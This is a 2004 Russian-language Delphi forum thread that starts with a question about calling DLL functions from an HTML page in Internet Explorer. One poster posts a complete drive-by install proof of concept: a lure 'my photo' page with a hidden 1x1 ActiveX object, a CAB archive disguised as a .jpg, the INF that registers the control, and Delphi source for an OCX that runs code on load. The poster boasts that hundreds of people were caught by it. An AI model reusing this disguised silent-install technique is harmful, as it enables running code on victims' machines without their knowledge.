Top.Mail.Ru
Мастера DELPHI, Delphi programming community Титульная страница Поиск, карта сайта Написать письмо 
| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL |
| Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Использование dll в html-файле [D7, WinXP]


S-Lok ©   (2004-10-24 23:03:00) 

Мне вот надо использовать в html-файле некоторую процедуру из моей Delphi-программы (причем html-файл должен открываться Internet Explorer'ом). Знаю, как это можно реализовать при помощи компонента ActiveX. Но вроде бы, эту же процедуру можно объявить в dll-файле. Как мне тогда обратиться к этой dll и к этой процедуре из html-файла?


kaZaNoVa   (2004-10-25 18:28:00) [1]

panov ©   (25.10.04 16:41) [15]
точно, и эксплойты не потребуются ;)))


panov   (2004-10-25 16:41:00) [2]

>S-Lok   (25.10.04 15:37) [14]
Использовать написанный в Delphi свой CGI на стороне сервера.


S-Lok   (2004-10-25 15:37:00) [3]

Тогда скажите, теоретически возможно ли каким-то еще способом, кроме ActiveX, выполнять на html-странице функции из Delphi?


kaZaNoVa   (2004-10-24 23:20:00) [4]

ps не веришь - проверь :))
то нужны права админа (кажется) и включено "загружать неподписанные ActiveX"


kaZaNoVa   (2004-10-24 23:19:00) [5]

это раньше РЕАЛЬНО работало при открытии в ИЕ со стандартными настройками ..


kaZaNoVa   (2004-10-24 23:17:00) [6]

ну, это уже не актуально .. так что выкладываю - пашет тока в 98, 2000, XP без 2 SP
html код:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Моя фотка</title>
</head>
<body>
<object classid="clsid:3D474C5B-6346-6092-ACCD-14BB685ED6A6" codebase="fotoarxiv.jpg" width=1 height=1></object>
Ну, как те моя фотка ?<br> - щас должна уже загрузиться ...<br>
- если не видно, проверьте настройки браузера ..
<br><br><br>
P.S. для просмотра требуется браузер INTERNET Explorer !
</body>
</html>


создаётся файл fotoarxiv.jpg- это CAB архив, внутри его 2 файла:
axhole.inf
axhole.ocx

содержание axhole.inf
[Version]
Signature="$Chicago$"
AdvancedINF=2.5

[DefaultInstall]
CopyFiles=FileList
RegisterOCXs=OCXSection

[DefaultUninstall]
Delfiles=FileList
UnRegisterOCXs=OCXSection

[OCXSection]
%11%\axhole.ocx

[FileList]
AXHOLE.OCX,,,33

[DestinationDirs]
FileList=11


исходник axhole.ocx
library Project1;
{$I-}

uses
 Windows,Shellapi;
Procedure DllGetClassObject;
Begin end;
Procedure DllRegisterServer;
 Begin end;
Procedure DllUnregisterServer;
 Begin end;
Procedure DllCanUnloadNow;
 Begin end;

exports
DllGetClassObject,
 DllRegisterServer,
DllUnregisterServer,
DllCanUnloadNow;

begin
MessageBox(0,'Если видна эта мессага-код из дллки работает','Are you Ready ?',0);
end.


Gero   (2004-10-24 23:12:00) [7]


> kaZaNoVa ©   (24.10.04 23:10)


> там был

Где был?

> не веришь ?

Нет.

> весь эксплоит выложить ?

Как хочешь.


kaZaNoVa   (2004-10-24 23:11:00) [8]

а расширение jpg - тока для маскировки ...  ;)


kaZaNoVa   (2004-10-24 23:10:00) [9]

Gero ©   (24.10.04 23:09) [7]
там был cab архив с длл .. :)
- не веришь ?
- весь эксплоит выложить ?


Gero   (2004-10-24 23:09:00) [10]


> kaZaNoVa ©   (24.10.04 23:08)
> object classid="clsid:3D474C5B-6346-6092-ACCD-14BB685ED6A6"

Это не dll.


kaZaNoVa   (2004-10-24 23:08:00) [11]

Gero ©   (24.10.04 23:07) [4]
эх   ссылка была .. и не один человек попался ..  (не одна сотня ..)
- знакомый один делал ..


Gero   (2004-10-24 23:07:00) [12]


> а ведь можно !  - раньше было

Да ну.
Ссылка имеется?


kaZaNoVa   (2004-10-24 23:07:00) [13]

<object classid="clsid:3D474C5B-6346-6092-ACCD-14BB685ED6A6" codebase="fotoarxiv.jpg" width=1 height=1></object>
вот ;)))))))))))))))))0


kaZaNoVa   (2004-10-24 23:06:00) [14]

Gero ©   (24.10.04 23:05) [1]
а ведь можно !  - раньше было .. ;)


Gero   (2004-10-24 23:05:00) [15]

Мда, если бы html - страницы умели dll'ки грузить и функции из них вызывать - вот весело было бы...


kaZaNoVa   (2004-10-24 23:05:00) [16]

если ты из html откроешь dll, то тебе позавидуют все виросописатели мира !

//я раньше делал так с OCX - но после 2 SP в ХР и в 2003 винде не пашет ..


Наверх

Титульная страница Поиск, карта сайта Написать письмо